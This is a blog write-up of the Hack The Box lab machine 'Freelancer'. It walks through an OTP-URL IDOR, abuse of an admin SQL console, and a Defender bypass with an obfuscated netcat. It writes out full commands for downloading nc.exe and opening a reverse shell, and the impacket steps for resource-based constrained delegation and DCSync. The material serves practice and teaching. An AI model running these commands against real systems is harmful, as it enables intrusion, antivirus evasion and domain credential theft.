HTB - Freelancer Writeup

Liam Geyer

šŸ‘¾ Machine Overview

This is a writeup of the machine Freelancer from HTB , itā€™s a hard difficulty Widows machine which featured IDOR, exploiting a SQL server, evading EDR, credential hunting, memory forensics, and resource based constrained delegation.

šŸ” Enumeration

An initial nmap scan of the host gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
nmap -sV -sC -Pn 10.10.11.5                                                                                                                                                                                                            
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 19:40 EDT
Nmap scan report for 10.10.11.5
Host is up (0.019s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.25.5
|_http-server-header: nginx/1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-09 04:40:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-07-09T04:40:39
|_ start_date: N/A
|_clock-skew: 5h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.31 seconds

I started by checking for anonymously accessible SMB shares, or anonymous LDAP bind, but neither worked. I decided to start checking out the website

šŸŒ Web

First I threw freelancer.htb into /etc/hosts.

The main site had a lot of interesting functionality, itā€™s a freelancing site that has roles for both employers and freelancers. Employers are presumably able to post jobs and review applications, while freelancers can apply for jobs.

Freelancer Site

I noticed an email in the footer, [email protected].

Footer

Thereā€™s a contact form I poked at for a while, but I wasnā€™t able to get anything interesting to happen.

Contact Form

Weā€™re able to register as either an employer or a freelancer, so I made two accounts. The freelancer account had some pretty basic functionality, but the employer account gave me some trouble.

Employer Registration

It asks you to verify an account, which I obviously canā€™t do. I was able to get around this by resetting the accounts password, which completely bypassed the verification step.

Forgot Password

Now as an employer, we have a ton of extra stuff on our dashboard. Most notably, thereā€™s this OTP QR-CODE I was super interested in. Iā€™ll come back to this later.

OTP QR

At this point I felt kind of stuck, so I tried running username anarchy with the names Iā€™d seen on the app and ASREPRoasting , but that was a dead end.

I poked around at the job applications with both accounts, creating and applying for jobs.

Employer Job View

That didnā€™t really get me anywhere. I fuzzed for vHosts and directories and found /admin which had a login panel.

Admin Panel

Great goal; but we have no admin login. I went back to the QR code at this point and decoded it with an online QR Code reader getting http://freelancer.htb/accounts/login/otp/MTAwMTE=/5560934a1058e72a620b0460ba78b0d9/. Browsing to the OTP links before they expire granted a session bypassing the login process. Each time I requested a code the base64 stayed the same while the code at the end of the URL changed.

That base64 encoded string MTAwMTE= decoded to 10010, which I presume is our userID.

I verified that by checking out our profile page on http://freelancer.htb/accounts/profile/visit/10010/.

My Profile

These IDā€™s look sequential, so I used burp intruder to checkout IDs 0-100. ID 2 turned out to belong to our admin, John Halond.

Admin's Profile

If you click on the OTP login URL it grants a session, but each OTP is only valid for a single use. I decided to get a new code, and change the base64 encoded string to the adminā€™s ID which is 2, or Mg== in base64.

So http://freelancer.htb/accounts/login/otp/MTAwMTE=/[CODE]/ became http://freelancer.htb/accounts/login/otp/Mg==/[CODE]/. Clicking that got me a session as the admin user, which carried over to /admin.

šŸ•“Admin Panel

Admin Panel

The first thing I did was make my user an admin so I didnā€™t have to repeat this ever again lol.

My User

Now as an admin I started poking around at the admin panelā€™s functionality.

I went to the user panel for the admin and grabbed his hash to try cracking (mode 10000 in hashcat), but it never popped.

What really interested me was the SQL terminal.

SQL Terminal

This allows us to run arbitrary SQL queries, I started by enumerating tables.

1
SELECT * FROM information_schema.tables

Dumping Tables

I dug around in the database for a while but wasnā€™t able to find much of note that we didnā€™t already have. Next I tried getting coercing authentication from the SQL Service Account.

I stood up responder and ran xp_dirtree

1
EXEC MASTER.sys.xp_dirtree '\\10.10.14.2\erm', 1, 1

sql_svc hash

That did allow me to grab the hash for sql_svc, but I wasnā€™t able to crack it, and weā€™re not able to relay the hash since signing is enabled.

I tried a couple more things here, fuzzing at the /admin directory, going back through the tables, but was pretty stuck for a while.

I wanted to get command execution through xp_cmdshell, but we donā€™t have permission.

Eventually I tried to impersonate the admin account, sa.

1
2
EXECUTE AS LOGIN = 'sa'
EXEC master.sys.xp_dirtree '.\', 1, 1

Impersonating Admin

I was able to run dirtree to list files, so ideally we now want to pop a shell or loot some useful data to move forward. I tried downloading a sliver beacon, but it didnā€™t actually pop.

1
2
EXECUTE AS LOGIN = 'sa'
EXEC xp_cmdshell 'powershell "Invoke-WebRequest http://10.10.14.2:8000/wizard101.exe" -OutFile C:\Windows\Tasks\wizard101.exe'

Initially I thought this was a firewall issue, but that doesnā€™t make sense since my webserver was getting callbacks.

I eventually determined that my beacon was getting caught by defender, and nuked when it hit disk, so I pivoted to trying to use netcat, but netcat was getting caught.

This obfuscated version of netcat isnā€™t signatured and I was able to drop it on disk and use it to pop a reverse shell.

1
2
3
4
EXECUTE AS LOGIN = 'sa';  
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'echo IWR http://10.10.14.11:6969/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile'
EXEC xp_cmdshell '%TEMP%\nc.exe 10.10.14.11 9001 -e powershell'

That finally got me a shell as sql_svc.

šŸ„ˆ User

I started by checking out our groups and privileges.

Groups

Privs

I was pretty stuck here for a while, nothing jumped out at me and I couldnā€™t run WinPEAS for a helping hand because of defender.

Eventually after rooting around in our userā€™s home folder I found C:\Users\sql_svc\downloads\SQLEXPR-2019_x64_ENU. That folder had sql-Configuration.INI which had some hardcoded credentials.

sql-configuration.ini

I gathered a list of users on the machine from C:\Users, and used crackmapexec to spray the creds.

Password Spraying

They worked for mikasaAckerman, so I used them to try to WinRM in.

Failing to WinRM

But wait! Weā€™re not allowed. If this was an interactive terminal we could try running something as Mikasa, but I couldnā€™t get anything like a PowerShell credential object to work.

I dropped runascs.exe on the machine to start a new shell as Mikasa, which is a more powerful version of Windowā€™s runas.exe that allows you to easily provide credentials and start a process as another user.

I used this to pop a new revshell as Mikasa

1
.\runascs.exe mikasaAckerman [PASSWORD] powershell -r [IP]:[LPORT]

Runascs.exe

šŸ„‡ Root

Finally, weā€™re able to grab the user flag.

User Flag

On Mikasaā€™s desktop thereā€™s some interesting files, mail.txt had a note.

1
2
3
4
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.

Memory forensics time!!!!

First I setup an SMB share on my host to exfiltrate the memory dump.

1
2
# On my kali box
impacket-smbserver -smb2support [share name] ./

Failing to Exfil

it didnā€™t work, so I did it again with a password, and mounted the share

1
2
# On my kali box
impacket-smbserver -smb2support -user [username] -password [passwprd] [share name] ./

SMB Server With Auth

1
2
# On the victim machine
net use z: \\[IP]\erm /user:[username] [password]

Successful Exfil

šŸ§  Memory Forensics

First with volatility I ran windows.info.Info to get some details about the dump.

windows.info.Info

I tried some quick wins such as windows.hashdump.Hashdump which didnā€™t work. I ran windows.pstree.PsTree to view running processes and saw LSASS.

windows.pstree.PsTree

Since LSASS contains credentials in memory, we can dump it to try to extract credentials. I used windows.lsadump.Lsadump to dump LSASS.

1
python3 vol.py -f ~/Documents/freelancer/MEMORY.DMP windows.lsadump.Lsadump >> lsass.dmp

I tried feeding this into pypykatz to extract the credentials but it wouldnā€™t work because the output wasnā€™t in the mimidump format. I ran strings on the dump and saw a mangled version of the credentials in the dump.

Strings on the LSASS Dump

Since I wasnā€™t super sure where the password ended/began I created a list with a couple different options and sprayed them at the users Iā€™d found so far.

Password Spray

I was able to pop lorra199, and finally got WinRM access, so I checked out our groups and permissions.

Groups and Privs

Nothing jumped out at me, normally I would run WinPEAS and SharpHound, but defender made that I pain. Instead I ran bloodhound-python to remotely collect BloodHound data.

1
sudo bloodhound-python -d [domain] -u [user] -p '[password]' -ns [IP] -c all

In BloodHound I saw that lorra199 is a member of the AD Recycle Bin group, which has GenericWrite over the Domain Controller.

BloodHound GenericWrite

We can abuse this to perform a resource based constrained delegation attack . Because our user has GenericWrite over the DC, we can create a new machine on the domain and grant it permission to impersonate any user to a service on the DC.

First I used Impacketā€™s addcomputer.py to create a new machine on the domain, ERM$.

Creating a machine account

Next, I gave ERM$ permission to impersonate users to services on the DC.

RBCD

Now, weā€™re able to request a TGS from the Administrator to the DC.

Requesting a TGS

And finally use the TGS to DCSync.

DCSync

1
2
3
4
5
6
7
8
9
10
11
# Creating our new computer using lorra199's perms
impacket-addcomputer -computer-name 'ERM$' -computer-pass 'Password123!' -dc-host 10.10.11.5 -domain-netbios freelancer.htb 'freelancer.htb/lorra199:[password]'

# Abusing GenericWrite over the DC to allow the new computer to delegate to the DC
impacket-rbcd -delegate-from 'ERM$' -delegate-to 'DC$' -action 'write' 'freelancer.htb/lorra199:[password]'

# Using the new computer to get a TGS as the Admin
impacket-getST -spn 'cifs/dc.freelancer.htb' -impersonate 'Administrator' 'freelancer.htb/ERM$:Password123!' -dc-ip 10.10.11.5

# Performing a DCSync attack with the TGS
impacket-secretsdump -k dc.freelancer.htb -just-dc-user Administrator

With all that done, I used the Administratorā€™s hash to WinRM in and grab the flag, yippee!

Root Flag!

šŸ“– Resources

šŸ”— Hyperlink ā„¹ļø Info
Packet Storm Security Funky netcat
Cybersec Notes DCSync
Cybersec Notes RBCD
  • Title: HTB - Freelancer Writeup
  • Author: Liam Geyer
  • Created at : 2024-09-18 00:00:00
  • Updated at : 2024-11-11 17:17:33
  • Link: https://lfgberg.org/2024/09/18/htb/freelancer/
  • License: This work is licensed under CC BY-NC-SA 4.0.